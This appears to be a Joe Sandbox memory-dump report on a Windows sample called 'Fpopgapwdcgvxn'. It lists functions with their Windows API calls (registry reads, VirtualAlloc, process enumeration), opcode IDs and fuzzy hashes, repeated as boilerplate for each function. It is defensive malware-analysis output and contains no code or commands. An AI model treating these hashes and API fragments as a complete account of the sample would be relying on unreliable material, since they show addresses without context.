Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: QueryValue
String ID: MS Shell Dlg 2
API String ID: 3660427363-3198668166
Opcode ID: 87eb63883dcf174087ea524abea919492a223dcead9632fe77c88ac690ec503f
Instruction ID: 9748c0c1bd11c43c6c990f6adbddc12fdda31124ce6ae7c05b2f27306fc8f9ab
Opcode Fuzzy Hash: 87eb63883dcf174087ea524abea919492a223dcead9632fe77c88ac690ec503f
Instruction Fuzzy Hash: 66F0896631D3446FD704E66D9D40BDB7B9C9B85750F05807AF548CB551DA60CC088361

Uniqueness

Uniqueness Score: -1.00%

Function 032D04D8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,00000000,?,?,MS Shell Dlg 2,?,MS Shell Dlg 2,?,032D053C), ref: 032D050A

Strings

MS Shell Dlg 2, xrefs: 032D04D9, 032D04DB

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: QueryValue
String ID: MS Shell Dlg 2
API String ID: 3660427363-3198668166
Opcode ID: ca08024a9cf823153a91d6cd59c39d2f6741ddebabc56f770993d5350fd29ef3
Instruction ID: 22e8b49735d28d2241a30597f674e35d7e7e27b1f380ba3a7449a78f0396cec7
Opcode Fuzzy Hash: ca08024a9cf823153a91d6cd59c39d2f6741ddebabc56f770993d5350fd29ef3
Instruction Fuzzy Hash: 27F0306A3192546BD704EAAD9D40FAB6BDCDB85790F05803AB948CB251DA61DC098361

Uniqueness

Uniqueness Score: -1.00%

Function 032BFACC Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

APIs

VariantCopy.OLEAUT32(00000000,00000000), ref: 032BFAED

Part of subcall function 032BF6D0: VariantClear.OLEAUT32(?), ref: 032BF6DF

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Variant$ClearCopy
String ID:
API String ID: 274517740-0
Opcode ID: 2051a498f8db3b64656e5aacfe0d2abfcf86cf8fbb86eb4580670ac17edc5faf
Instruction ID: b6d05454b9b4faeefde9835882ee4f89913e03fc9cb74c77b7419572c0faf8b7
Opcode Fuzzy Hash: 2051a498f8db3b64656e5aacfe0d2abfcf86cf8fbb86eb4580670ac17edc5faf
Instruction Fuzzy Hash: 17115134730311A6C724EF298ED49D773B99F897D07198465E84A8F655DAB0CCC0C761

Uniqueness

Uniqueness Score: -1.00%

Function 032D028C Relevance: 3.0, APIs: 2, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegFlushKey.ADVAPI32(00000000,?,032D02F8,?,?,00000000,032D04A4,00000000,00000000,00000000,00000000,00000001,?,00000000,00000000,00000000), ref: 032D029D
RegCloseKey.ADVAPI32(00000000,?,032D02F8,?,?,00000000,032D04A4,00000000,00000000,00000000,00000000,00000001,?,00000000,00000000,00000000), ref: 032D02A6

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CloseFlush
String ID:
API String ID: 320916635-0
Opcode ID: b932250ff9fdfab35df00aa8e44ef11b3c8548d3fa1cf175fc9bedafde95146a
Instruction ID: b0801d4f67ad59ad4468e7bdf3eaa3c98c1ae8c3049f3eee1d185067fe155e0e
Opcode Fuzzy Hash: b932250ff9fdfab35df00aa8e44ef11b3c8548d3fa1cf175fc9bedafde95146a
Instruction Fuzzy Hash: E7D017A5721301CBDF90EF7AC8C4A52BBECAB04240B48C5A19808CF10ADA74D4808B20

Uniqueness

Uniqueness Score: -1.00%

Function 032BF768 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 032BF7A8

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: 7e45e8b977dffc2c839bc2d88663c57e49a2dff7af0c840ee5e24d2d5f2d3233
Instruction ID: 347659a640688cf885f4a9417760490b95a6969c52592debba7958c8436e13fe
Opcode Fuzzy Hash: 7e45e8b977dffc2c839bc2d88663c57e49a2dff7af0c840ee5e24d2d5f2d3233
Instruction Fuzzy Hash: 36316F75920209BFDB10DEA8DE84AEA77FCEB08384F4845A2F905D7650D770D9E1C751

Uniqueness

Uniqueness Score: -1.00%

Function 032D031E Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(00000000,00000000,00000000,00020019,?,00000000,032D04BA), ref: 032D038C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: f988c3dd070f72260b3ea75b68339391dd3880f224f8d58455fb509762e13815
Instruction ID: 0f77b06a0ff80a17f22d1805e27c16592b21e2205d7e2da40d3c817ffdc9aee4
Opcode Fuzzy Hash: f988c3dd070f72260b3ea75b68339391dd3880f224f8d58455fb509762e13815
Instruction Fuzzy Hash: C521D534B10308AFDB11EBA5C991BDEB3F9EF44340F158075E804E7662D7B49F849650

Uniqueness

Uniqueness Score: -1.00%

Function 032D05C6 Relevance: 1.5, APIs: 1, Instructions: 48registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 032D05F3

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 810d9864720d6a7d50ead4e415af3a5bfb8683f92c82549e4e0d4fd586360dc0
Instruction ID: 292cb18fad4d3f279c938fff1254c7edebdc71877e62fe7bc8f22126af36a887
Opcode Fuzzy Hash: 810d9864720d6a7d50ead4e415af3a5bfb8683f92c82549e4e0d4fd586360dc0
Instruction Fuzzy Hash: 13017C76A10208AFDB00EEA9DC80ADEB7BCEB49610F04C166BD14DB241DA719E4087A0

Uniqueness

Uniqueness Score: -1.00%

Function 032D05C8 Relevance: 1.5, APIs: 1, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,00000000,00000000,?,?,?), ref: 032D05F3

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: c2900f50ecfb68e6214f7d60296d44feadeb9eb4a3c6b93d850369c622db7cf7
Instruction ID: 75c1514399fa3ff10f4005bd36a4eb688a3fe6e9890d98a15da0f4c5c84910aa
Opcode Fuzzy Hash: c2900f50ecfb68e6214f7d60296d44feadeb9eb4a3c6b93d850369c622db7cf7
Instruction Fuzzy Hash: 32018F76A10208AFDB00EEA9DC80EDEB7BCEF49710F04C166FD14DB241DA719E4087A0

Uniqueness

Uniqueness Score: -1.00%

Function 032B37C4 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CompareStringA.KERNEL32(00000800,00000001,00000000,00000000,00000000,00000000,00000000,032B384B), ref: 032B382A

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: bf0c3e41c8258e1040ecb6f4588be7dff2aa38a5aa895a3fad192489fd0d13ab
Instruction ID: b385912d999c5f625c219f9f45cc87425d2448a1e7b8743e5b95bc86130b7b82
Opcode Fuzzy Hash: bf0c3e41c8258e1040ecb6f4588be7dff2aa38a5aa895a3fad192489fd0d13ab
Instruction Fuzzy Hash: C001F278624308AFCB00FA699D929DEB6BCDB08740F5204B4B404E7652DBB05F808654

Uniqueness

Uniqueness Score: -1.00%

Function 032B738A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 032B73CB

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1e10244509fb37749eab8e1d646779dac0720b100661c13c3500a1fb3d533986
Instruction ID: 38d29cf9e6146eed75b88516e3a46a6d5ba53f5d43abe03f604237a1b77223a2
Opcode Fuzzy Hash: 1e10244509fb37749eab8e1d646779dac0720b100661c13c3500a1fb3d533986
Instruction Fuzzy Hash: 81F07AB6700218BF9B80DE9DDC80EEB77ECEB8C2A4B054165BA0CD7200D670ED508BA4

Uniqueness

Uniqueness Score: -1.00%

Function 032B738C Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 032B73CB

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 251e92fc10e7af7397377603fe9152e2251dce8f56d160a47fc6d7711774cdb8
Instruction ID: 3c8f5c06fcfe07936af61cb21250ba916c6302b9643dfbfc1f8725505eaf2a4c
Opcode Fuzzy Hash: 251e92fc10e7af7397377603fe9152e2251dce8f56d160a47fc6d7711774cdb8
Instruction Fuzzy Hash: ACF09DB6600218BF8B80DE9DDC80EDB77ECEB8C2A4B054165FA0CD7200D670ED508BB4

Uniqueness

Uniqueness Score: -1.00%

Function 032CEF38 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,032CEF85,?,?,?,00000000), ref: 032CEF65

Part of subcall function 032B4F68: SysFreeString.OLEAUT32(0330C964), ref: 032B4F76

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: a3310e8892e7b42386c3ae6f0fab848dffacee4ddbeac79324908176d918edb4
Instruction ID: 2de52f034a35863c78b5df1adfde5af906a9b08782a00ef2abaf94f11da891cb
Opcode Fuzzy Hash: a3310e8892e7b42386c3ae6f0fab848dffacee4ddbeac79324908176d918edb4
Instruction Fuzzy Hash: 7CE0E5346343487FD711EA61DC5199DB6ACDF8A780BB248B5E40097500DAB45E4080A0

Uniqueness

Uniqueness Score: -1.00%

Function 032B5B78 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(032B0000,?,00000105), ref: 032B5B96

Part of subcall function 032B5DDC: GetModuleFileNameA.KERNEL32(00000000,?,00000105,032B0000,0331A794), ref: 032B5DF8
Part of subcall function 032B5DDC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,032B0000,0331A794), ref: 032B5E16
Part of subcall function 032B5DDC: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,032B0000,0331A794), ref: 032B5E34
Part of subcall function 032B5DDC: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 032B5E52
Part of subcall function 032B5DDC: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,032B5EE1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 032B5E9B
Part of subcall function 032B5DDC: RegQueryValueExA.ADVAPI32(?,032B6048,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,032B5EE1,?,80000001), ref: 032B5EB9
Part of subcall function 032B5DDC: RegCloseKey.ADVAPI32(?,032B5EE8,00000000,?,?,00000000,032B5EE1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 032B5EDB

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 3b17160cd34436c47c42d63791b6be8e89ec8c34d9187eb90482b984e983ccd8
Instruction ID: b09f5128d4a4cdde2732850970549b1630e423a2dd5c74fbda57a3ea02405bfb
Opcode Fuzzy Hash: 3b17160cd34436c47c42d63791b6be8e89ec8c34d9187eb90482b984e983ccd8
Instruction Fuzzy Hash: 54E06D72A113148FCF10DE58C9C0A8633E8AF09790F140691AC98CF34AD3B0DAA08BD0

Uniqueness

Uniqueness Score: -1.00%

Function 032B8D64 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 032B8D78

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d4a83ef73bc856c33152c5a4506e379bca90fd87d8296263b7b9ff213f4cdc5f
Instruction ID: 259172643d9d6d67becfa50880ae2438c62c2bcf98518b09b30ef74c3864ae3a
Opcode Fuzzy Hash: d4a83ef73bc856c33152c5a4506e379bca90fd87d8296263b7b9ff213f4cdc5f
Instruction Fuzzy Hash: 64D05B763182517AD220E55A5C84EEB5BECCFC57B0F14063AB558C7181D6608C018371

Uniqueness

Uniqueness Score: -1.00%

Function 03308AD4 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 03308838: GetModuleHandleA.KERNEL32(kernel32.dll,00000002,03308ABF,?,?,03308B51,00000000,03308C2D), ref: 0330884C
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 03308864
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 03308876
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 03308888
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32First), ref: 0330889A
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 033088AC
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 033088BE
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32First), ref: 033088D0
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32Next), ref: 033088E2
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 033088F4
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 03308906
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Thread32First), ref: 03308918
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 0330892A
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32First), ref: 0330893C
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32Next), ref: 0330894E
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 03308960
Part of subcall function 03308838: GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 03308972

Process32First.KERNEL32(?,00000128), ref: 03308AE5

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressProc$FirstHandleModuleProcess32
String ID:
API String ID: 2774106396-0
Opcode ID: a61ae50174cf867dbf7150e4ccfae690f933dd31855620bc3145320aefd9702a
Instruction ID: b5ebf6ee927052bb06ed9b3e0622050bf78dfa70f0cb8d1a9e6b92aa279565a4
Opcode Fuzzy Hash: a61ae50174cf867dbf7150e4ccfae690f933dd31855620bc3145320aefd9702a
Instruction Fuzzy Hash: C2C08CA2A02320178E10F6F82CD88C3878CCE491F370848B2B509EB142D2358C1092A0

Uniqueness

Uniqueness Score: -1.00%

Function 032B4F80 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 032B4F93

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 4c26b98c80642be3bb457a0a6325ed943588a8704c231b59171f708dcadf21d2
Instruction ID: 86bcfd6edabc9705dfc9310cd310a6a9626536a5ae5762b02a2f888499de012d
Opcode Fuzzy Hash: 4c26b98c80642be3bb457a0a6325ed943588a8704c231b59171f708dcadf21d2
Instruction Fuzzy Hash: 8FC012B56712314BFF31E6999CC0BA563EC9B053D1F5800A1E504DB341E260E8504350

Uniqueness

Uniqueness Score: -1.00%

Function 033180A8 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,0331809C,00000000,00000001), ref: 033180B8

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 8fa96dadf32e4f756d12da986ffba8f10886f0d13de842ac16e7adfbe21a04f2
Instruction ID: 905394690ffd60708950b7d2e5836bbd45a33c80cf1d1a2eac6bcb610f83377a
Opcode Fuzzy Hash: 8fa96dadf32e4f756d12da986ffba8f10886f0d13de842ac16e7adfbe21a04f2
Instruction Fuzzy Hash: CEC09BF4B603047AF524F5B51CD1F6315ACD304741F5054117705FD2C1D2D65C504654

Uniqueness

Uniqueness Score: -1.00%

Function 032B4F40 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 032B4F47

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 61128e9512ae7fb8001b69d029d8ec20854896d5f37afe652109874d530df956
Instruction ID: 351ad1066289508ba29790c12cb04fc7d01388f3f5ec722bbb9deb4eb817dbb5
Opcode Fuzzy Hash: 61128e9512ae7fb8001b69d029d8ec20854896d5f37afe652109874d530df956
Instruction Fuzzy Hash: 40B0922823835350FA20F0A209417F241BC0B003C4F8800109D18C50C7D988C0A55035

Uniqueness

Uniqueness Score: -1.00%

Function 032B4F58 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 032B4F5F

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: a73baa7010e2214fc82cb9e8665bcb2621c1da538b25aa4ddb9b3979219b4310
Instruction ID: f3e8f8ae27e0c39ba860e91227ec3e402efe1560e3a215c0f8acfbc3a978f957
Opcode Fuzzy Hash: a73baa7010e2214fc82cb9e8665bcb2621c1da538b25aa4ddb9b3979219b4310
Instruction Fuzzy Hash: 4CA022AC82033308CF0BFA2E00A0ABA22323FC0380BCCC0A800000F000CF3A80A0C020

Uniqueness

Uniqueness Score: -1.00%

Function 032CE97C Relevance: 1.3, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 032CE99A

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 27a7f2f923741d910209d786271832bb55285ffad64e2d8768516367b8751d79
Instruction ID: 5184678eb29b9ae427e925f566fa48ce6c7f1c45dd39c9032d861a9b48700928
Opcode Fuzzy Hash: 27a7f2f923741d910209d786271832bb55285ffad64e2d8768516367b8751d79
Instruction Fuzzy Hash: AA1148782517468BC754DF18C8C0B82F7E5EF48391F10C62AE99A8F785D3B4E9448BA1

Uniqueness

Uniqueness Score: -1.00%

Function 032B1668 Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00140000,00001000,00000004,?,032B1A9F,?,032B205D), ref: 032B167E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
